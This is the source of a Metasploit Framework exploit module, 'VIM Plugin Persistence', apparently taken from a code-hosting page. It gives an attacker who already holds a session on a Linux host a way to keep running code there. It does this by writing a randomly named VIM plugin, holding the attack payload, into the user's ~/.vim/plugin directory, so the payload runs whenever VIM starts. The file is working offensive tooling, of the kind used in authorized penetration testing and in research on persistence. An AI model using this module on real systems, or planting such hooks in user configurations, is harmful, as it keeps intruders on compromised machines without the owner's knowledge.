Path: blob/master/modules/exploits/linux/persistence/vim_plugin.rb
70334 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Exploit::Local::Persistence10prepend Msf::Exploit::Remote::AutoCheck1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'VIM Plugin Persistence',17'Description' => %q{18This module creates a VIM Plugin which executes a payload on VIM startup.19},20'License' => MSF_LICENSE,21'Author' => [22'h00die',23],24'Platform' => [ 'linux' ],25'Arch' => [ ARCH_CMD ],26'SessionTypes' => [ 'meterpreter', 'shell' ],27'Targets' => [[ 'Auto', {} ]],28'References' => [29[ 'URL', 'https://vimways.org/2019/writing-vim-plugin/'],30[ 'URL', 'https://www.linode.com/docs/guides/writing-a-vim-plugin/'],31['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],32],33'DisclosureDate' => '1991-11-03', # VIM release date34'DefaultTarget' => 0,35'Notes' => {36'Stability' => [CRASH_SAFE],37'Reliability' => [REPEATABLE_SESSION],38'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]39}40)41)42register_advanced_options [43OptString.new('NAME', [ false, 'Name of the extension. Defaults to random'])44]45end4647def check48return CheckCode::Safe('VIM is required') unless command_exists?('vim')4950CheckCode::Detected('VIM is installed')51end5253def plugin_name54return datastore['NAME'] unless datastore['NAME'].blank?5556Rex::Text.rand_text_alpha(5..10)57end5859def get_home60return cmd_exec('echo ~').strip61end6263def install_persistence64plugin = plugin_name65vim_plugin = File.read(File.join(66Msf::Config.data_directory, 'exploits', 'vim_plugin', 'plugin.vim'67))68vim_plugin = vim_plugin.gsub('PAYLOAD_PLACEHOLDER', payload.encoded.gsub(';./', ';nohup ./')) # already run async69vim_plugin = vim_plugin.gsub('NAME', plugin)7071path = "#{get_home}/.vim/plugin"72mkdir(path, cleanup: false) unless directory?(path)73path = "#{path}/#{plugin}.vim"74vprint_status("Writing plugin to #{path}")75unless write_file(path, vim_plugin)76fail_with(Failure::UnexpectedReply, "Failed to write VIM plugin to #{path}")77end78@clean_up_rc = "rm #{path}\n"79end80end818283